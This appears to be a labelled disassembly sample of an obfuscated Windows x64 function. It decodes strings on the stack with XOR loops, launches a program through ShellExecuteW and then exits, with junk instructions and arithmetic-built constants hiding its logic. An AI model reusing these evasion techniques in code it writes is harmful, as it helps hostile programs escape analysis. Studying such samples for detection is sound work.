Function at 0x140156c20
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
xchg rbx, rsi
mov qword [rsp + 8], rsi
xchg rbx, rsi
xchg rsi, r9
mov qword [rsp + 0x10], r9
xchg rsi, r9
nop
push 0x2899047d
mov qword [rsp], rbp
push rdi
nop
sub rsp, 8
mov qword [rsp], r12
push r13
mov qword [rsp], r14
push r15
lea rbp, [rsp - 0x2070]
mov eax, 0x2b360c4c
add eax, 0x190e4d2a
add eax, 0x2cac6b78
xor eax, 0x7b71dba
sub eax, 0xce2d6b9
xor eax, 0x7aeb920c
add eax, 0x527a3449
sub eax, 0x2fd6f058
sub eax, 0x3331b318
call fcn.1401fc940
sub rsp, rax
xchg rbx, rdx
mov r15, rbx
xchg rbx, rdx
xchg r12, rdx
mov rdx, rcx
xchg rdx, r12
xor esi, esi
mov r14d, esi
mov dword [rbp + 0x20b0], esi
test r8b, r8b
je 0x140157593
xchg rcx, rdx
mov rdx, rcx
xchg rdx, rcx
call fcn.140070580
cmp rax, 3
jb 0x140157422
lea edx, [rsi + 1]
xchg r15, r12
mov rcx, r12
xchg r12, r15
call fcn.14004e250
mov dl, 0x4a
add dl, 8
sub dl, 3
add dl, 1
sub dl, 0x13
sub dl, 0x3c
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.14007e040
test al, al
je 0x140157422
lea r9d, [rsi - 1]
lea r8d, [rsi + 0x1b]
lea rdx, [rbp - 0x20]
xchg rcx, r9
mov r9, qword [r12]
xchg rcx, r9
call fcn.1401635b0
nop
mov rdi, qword [r12]
lea rcx, [rdi + 0x308]
call fcn.14007ebf0
xchg r14, rax
mov rbx, r14
xchg r14, rax
lea edx, [rsi + 2]
mov rcx, r15
call fcn.14004e250
lea rdx, [rbp - 0x80]
xchg rbx, rax
mov rcx, rbx
xchg rbx, rax
call fcn.14007e630
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x28]
mov rcx, rbx
call fcn.140052840
nop
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.140175b30
xchg r14, rax
mov rbx, r14
xchg r14, rax
lea rcx, [rbp - 0x20]
call fcn.14007b520
mov r9, rbx
mov r8, rax
lea edx, [rsi + 0x40]
xchg rcx, r12
mov r12, rdi
xchg rcx, r12
call fcn.14016def0
nop
lea rcx, [rbp + 0x28]
call fcn.140029bb0
nop
lea rcx, [rbp - 0x80]
call fcn.14004c740
mov rcx, r15
call fcn.140070580
cmp rax, 4
jb 0x140157419
mov rcx, qword [r12]
sub rcx, 0x6fe1659e
add rcx, 0x6fe168a6
call fcn.14007ebf0
mov rbx, rax
lea edx, [rsi + 3]
xchg rcx, rdx
mov rdx, r15
xchg rcx, rdx
call fcn.14004e250
lea rdx, [rsp + 0x60]
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.14007e630
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
xchg rcx, rbp
mov rbp, rbx
xchg rbp, rcx
call fcn.140052840
nop
lea rcx, [rsp + 0x60]
call fcn.14004c740
lea rcx, [rbp - 0x60]
call fcn.140178a30
cmp rax, 8
jb 0x1401571a6
lea r9d, [rsi + 8]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.140178a50
nop
mov dword [rbp + 0x20b0], 0x5fc9def0
add dword [rbp + 0x20b0], 0x2e2e9d0
xor dword [rbp + 0x20b0], 0x10983fa4
sub dword [rbp + 0x20b0], 0x4be45297
add dword [rbp + 0x20b0], 0x2f0f6dc1
xor dword [rbp + 0x20b0], 0x71a31a81
sub dword [rbp + 0x20b0], 0x24c3080e
xchg r12, rax
mov rcx, r12
xchg r12, rax
call fcn.140175b30
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.14007ad70
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
mov dword [rbp + 0x20b0], 0x2b4952a8
add dword [rbp + 0x20b0], 0x454a1072
xor dword [rbp + 0x20b0], 0x2f152afc
xor dword [rbp + 0x20b0], 0x30315ff
xor dword [rbp + 0x20b0], 0x595489aa
xor dword [rbp + 0x20b0], 0x61cafcb9
sub dword [rbp + 0x20b0], 0x2c5442a3
xor dword [rbp + 0x20b0], 0x4c98b46a
sub dword [rbp + 0x20b0], 0x7b5e520a
mov dword [rsp + 0x40], 0xb1c69b2
xor dword [rsp + 0x40], 0x49865b89
sub dword [rsp + 0x40], 0x278f7694
add dword [rsp + 0x40], 0x22c65303
xor dword [rsp + 0x40], 0x53b94a18
sub dword [rsp + 0x40], 0x5a8a8fb9
add dword [rsp + 0x40], 0x643553e7
add dword [rsp + 0x40], 0x7ee3ee16
mov dword [rsp + 0x4a], 0x4e37f2c0
add dword [rsp + 0x4a], 0x1957f527
sub dword [rsp + 0x4a], 0x5e655691
xor dword [rsp + 0x4a], 0x3fb145dc
sub dword [rsp + 0x4a], 0xec9da0e
add dword [rsp + 0x4a], 0x1b565dce
add dword [rsp + 0x4a], 0x1ddc3b98
sub dword [rsp + 0x4a], 0x26ac9736
xor dword [rsp + 0x4a], 0xc52903de
mov dword [rsp + 0x4e], 0xaffb7dc
xor dword [rsp + 0x4e], 0x524c49b0
add dword [rsp + 0x4e], 0x135ca6d3
add dword [rsp + 0x4e], 0x98403d2
sub dword [rsp + 0x4e], 0x18defaf0
add dword [rsp + 0x4e], 0xabd92e4
xor dword [rsp + 0x4e], 0x3ecc6616
add dword [rsp + 0x4e], 0xa5bbd86b
mov dword [rsp + 0x44], 0x5d725fc8
xor dword [rsp + 0x44], 0x3c9cc83f
add dword [rsp + 0x44], 0x1ae9548e
xor dword [rsp + 0x44], 0x490db7ad
sub dword [rsp + 0x44], 0x2a717874
add dword [rsp + 0x44], 0x562cbba4
sub dword [rsp + 0x44], 0xe2df5e
xor dword [rsp + 0x44], 0x2981635a
xor dword [rsp + 0x44], 0xbfc52b56
mov dword [rsp + 0x52], 0x2a42bd1a
sub dword [rsp + 0x52], 0xbb12c18
add dword [rsp + 0x52], 0x27084255
sub dword [rsp + 0x52], 0x331905a3
xor dword [rsp + 0x52], 0x129c6b56
add dword [rsp + 0x52], 0xff28589b
mov dword [rsp + 0x56], 0x7f01f197
sub dword [rsp + 0x56], 0xa7cbdc3
sub dword [rsp + 0x56], 0x1cc9ed0b
xor dword [rsp + 0x56], 0x32d9cb3
sub dword [rsp + 0x56], 0x438b1aca
sub dword [rsp + 0x56], 0x1100652d
xor dword [rsp + 0x56], 0xff32a5ba
xor eax, eax
mov word [rsp + 0x5a], ax
mov edx, esi
movzx eax, word [rsp + rdx*2 + 0x4a]
movzx ecx, byte [rsp + rdx + 0x40]
add cx, ax
mov word [rsp + rdx*2 + 0x4a], cx
mov byte [rsp + rdx + 0x40], 0x44
xor byte [rsp + rdx + 0x40], 0x76
xor byte [rsp + rdx + 0x40], 0x2d
xor byte [rsp + rdx + 0x40], 0x3d
xor byte [rsp + rdx + 0x40], 0x50
sub byte [rsp + rdx + 0x40], 0x72
inc rdx
cmp rdx, 8
jb 0x140157083
mov dword [rbp + 0x20b0], 0x3f7771f3
add dword [rbp + 0x20b0], 0x3e5e88fa
sub dword [rbp + 0x20b0], 0x125b3a79
xor dword [rbp + 0x20b0], 0x2ef42776
sub dword [rbp + 0x20b0], 0x3aca39bc
add dword [rbp + 0x20b0], 0x552ab94
sub dword [rbp + 0x20b0], 0x101758d3
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp - 0x40], xmm0
movsd xmm1, qword [rsp + 0x50]
movsd qword [rbp - 0x30], xmm1
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 8]
call fcn.14007c3d0
nop
mov r14d, 0x59244446
xor r14d, 0x39a28528
sub r14d, 0x5408b153
xor r14d, 0x7b371b3
add r14d, 0x376af0cb
xor r14d, 0x455adbcd
add r14d, 0x3abff859
sub r14d, 0x2886bb9
xor r14d, 0x3e9a1651
mov dword [rbp + 0x20b0], r14d
mov rdx, rax
xchg rcx, rbx
mov rbx, rcx
xchg rcx, rbx
call fcn.14007b4a0
test al, al
je 0x1401571a6
mov bl, 0x54
add bl, 0x1a
sub bl, 0x38
sub bl, 0x2d
add bl, 0x12
xor bl, 0x3e
xor bl, 0x24
jmp 0x1401571a8
xor bl, bl
test r14b, 8
je 0x1401571c7
and r14d, 0xfffffff7
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp - 8]
call fcn.14007b1a0
nop
test r14b, 4
je 0x140157223
and r14d, 0xfffffffb
mov dword [rbp + 0x20b0], r14d
xchg rsi, rax
mov rsi, rax
xchg rsi, rax
nop word [rax + rax]
mov byte [rsp + rax + 0x4a], 0x61
sub byte [rsp + rax + 0x4a], 0x2a
sub byte [rsp + rax + 0x4a], 0x33
xor byte [rsp + rax + 0x4a], 0x2f
add byte [rsp + rax + 0x4a], 0x2e
sub byte [rsp + rax + 0x4a], 0x1f
add byte [rsp + rax + 0x4a], 0x2e
sub byte [rsp + rax + 0x4a], 0x68
inc rax
cmp rax, 0x10
jb 0x1401571ee
test r14b, 2
je 0x140157242
and r14d, 0xfffffffd
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x10]
call fcn.14007b1a0
nop
test r14b, 1
je 0x140157260
and r14d, 0xfffffffe
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x48]
call fcn.140029bb0
test bl, bl
je 0x14015740f
lea rcx, [rbp - 0x60]
call fcn.140175b30
xchg rsi, r8
mov rsi, rax
xchg r8, rsi
mov dword [rsp + 0x30], 0x2370726a
add dword [rsp + 0x30], 0x59de1ecf
sub dword [rsp + 0x30], 0x1fe7afe
sub dword [rsp + 0x30], 0x591bbc7b
sub dword [rsp + 0x30], 0xbc7b5a4
add dword [rsp + 0x30], 0x45c04b14
sub dword [rsp + 0x30], 0x3e7fbb5b
add dword [rsp + 0x30], 0xbd04618
add dword [rsp + 0x30], 0xcd797d09
mov dword [rsp + 0x36], 0x76a48784
add dword [rsp + 0x36], 0x8d8aca1
xor dword [rsp + 0x36], 0x35a0dca2
add dword [rsp + 0x36], 0x182e2a
sub dword [rsp + 0x36], 0x4aaa936a
xor dword [rsp + 0x36], 0xe1a9e0
add dword [rsp + 0x36], 0xfed0d4d2
mov dword [rsp + 0x3a], 0x2631b8c4
xor dword [rsp + 0x3a], 0x4233659d
xor dword [rsp + 0x3a], 0x279f6d8
xor dword [rsp + 0x3a], 0x159ea4ed
xor dword [rsp + 0x3a], 0x63acae90
sub dword [rsp + 0x3a], 0x559c021
xor dword [rsp + 0x3a], 0xf5979eb4
xor eax, eax
mov word [rsp + 0x3e], ax
xchg rsi, rax
mov rsi, rax
xchg rsi, rax
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x36]
movzx edx, byte [rsp + rax + 0x30]
add dx, cx
mov word [rsp + rax*2 + 0x36], dx
mov byte [rsp + rax + 0x30], 0x3f
xor byte [rsp + rax + 0x30], 0xc
xor byte [rsp + rax + 0x30], 0x50
xor byte [rsp + rax + 0x30], 0x18
sub byte [rsp + rax + 0x30], 0x25
xor byte [rsp + rax + 0x30], 0x56
inc rax
cmp rax, 4
jb 0x140157347
mov dword [rsp + 0x28], 0x16c04151
xor dword [rsp + 0x28], 0x7e7984ce
sub dword [rsp + 0x28], 0x3cff9f58
add dword [rsp + 0x28], 0x53fac0eb
xor dword [rsp + 0x28], 0x2347543
sub dword [rsp + 0x28], 0x4bae720d
sub dword [rsp + 0x28], 0x31d22063
xchg r12, rsi
mov qword [rsp + 0x20], r12
xchg r12, rsi
xor r9d, r9d
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax]
mov byte [rsp + rsi + 0x36], 0x38
sub byte [rsp + rsi + 0x36], 0xd
xor byte [rsp + rsi + 0x36], 0x68
sub byte [rsp + rsi + 0x36], 0x28
xor byte [rsp + rsi + 0x36], 0x49
xor byte [rsp + rsi + 0x36], 3
add byte [rsp + rsi + 0x36], 0x22
sub byte [rsp + rsi + 0x36], 0x73
inc rsi
cmp rsi, 8
jb 0x1401573da
lea rcx, [rbp - 0x60]
call fcn.140029bb0
nop
lea rcx, [rbp - 0x20]
jmp 0x14015758e
mov r9d, 0x2b17914b
xor r9d, 0x3f77ec88
xor r9d, 0x364c2bf8
sub r9d, 0x999e5de
xor r9d, 0x6966f775
sub r9d, 0xac6b647
sub r9d, 0x46a31858
add r9d, 0xdf754776
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x80]
xchg rbp, rcx
mov rbp, qword [r12]
xchg rcx, rbp
call fcn.1401635b0
nop
mov r9d, 0x7b4e8302
sub r9d, 0x224afef2
sub r9d, 0x252c4c3a
xor r9d, 0x35fb315e
xor r9d, 0x5bf97290
add r9d, 0x4743ea9
add r9d, 0x9db64d3e
lea r8d, [r9 + 0x1d]
lea rdx, [rsp + 0x60]
xchg r15, rcx
mov r15, qword [r12]
xchg rcx, r15
call fcn.1401635b0
nop
xor edx, edx
mov r8d, 0x595313a2
add r8d, 0x1254f54e
sub r8d, 0x4bdd3289
xor r8d, 0x34f022df
xor r8d, 0x4fc373fc
sub r8d, 0x24a02ffe
add r8d, 0x3de10661
sub r8d, 0x7e3a3da7
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12]
add rcx, 0x5d20937
sub rcx, 0x5d203d7
call fcn.14007b910
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.14007b910
xchg rcx, rbx
mov r8, rcx
xchg rcx, rbx
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140086d50
mov rbx, qword [r12]
lea rcx, [rbp - 0x80]
call fcn.14007b520
lea r9, [rbp + 0x70]
xchg rdi, rax
mov r8, rdi
xchg rdi, rax
mov edx, 0xabe12c6
add edx, 0x694bea05
sub edx, 0x8c1c3c
sub edx, 0x6b8c37af
add edx, 0x4e797fc6
xor edx, 0x566b28e6
xchg r13, rcx
mov r13, rbx
xchg rcx, r13
call fcn.14016def0
nop
lea rcx, [rsp + 0x60]
call fcn.14007b1a0
nop
lea rcx, [rbp - 0x80]
call fcn.14007b1a0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3